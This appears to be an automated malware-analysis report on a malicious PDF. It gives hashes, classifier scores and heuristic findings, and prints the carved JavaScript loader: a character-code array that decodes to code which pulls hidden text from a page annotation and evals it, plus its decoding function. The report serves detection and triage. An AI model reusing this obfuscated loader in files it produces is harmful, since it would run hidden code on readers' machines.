PDF malware analysis — malicious · 4a901c5ec72dcb63

MALICIOUS

PDF

12.9 KB First seen: 2026-05-09

MD5: e8c2a2229ade921e3df3987f27e92621 SHA-1: c710406cca30eb527ff60b490c93d59567339de8 SHA-256: 4a901c5ec72dcb6304bd76ba76bb8c3251291c2b3a7b541ab6fa0b19f303baca

156 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell

The PDF file was flagged by a machine learning classifier as highly malicious. Static analysis revealed embedded JavaScript, which is further indicated by heuristics for PDF JavaScript actions and JS streams. The ML classifier's high confidence score and the presence of obfuscated JavaScript suggest the document's primary purpose is to execute malicious code. The extracted JavaScript file, 'javascript_obj0005_000.js', is likely responsible for downloading and executing a secondary payload.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 5

Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER

PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
```
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0005_000.js`	pdf-javascript-stream	PDF /JS object 5 at offset 0x107	916 bytes
SHA-256: `f048286b2dfe205330e162117bc9e2e9406092389e25aa91660890d79cb205b6`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script sourceCode = "118,97,114,32,122,59,32,118,97,114,32,121,59,32,122,32,61,32,121,32,61,32,97,112,112,46,100,111,99,59,32,10,9,32,121,32,61,32,48,59,32,9,32,122,46,115,121,110,99,65,110,110,111,116,83,99,97,110,32,40,32,41,59,32,121,32,61,32,122,59,118,97,114,32,112,32,61,32,121,46,103,101,116,65,110,110,111,116,115,40,32,123,32,32,110,80,97,103,101,58,32,48,32,125,41,32,59,118,97,114,32,115,32,61,32,112,91,48,93,46,115,117,98,106,101,99,116,59,32,118,97,114,32,108,32,61,32,115,46,114,101,112,108,97,99,101,40,47,122,47,103,44,32,39,37,39,41,59,32,115,32,61,32,32,117,110,101,115,99,97,112,101,32,40,108,41,32,59,101,118,97,108,40,115,41,59,32,115,32,61,32,39,39,59,32,122,32,61,32,49,59"; function decrypt(str, jump){ var result = ""; var list = str.split(','); for (var i=0; i < list.length; i++) { result += String.fromCharCode(list[i] - jump); } return result; }

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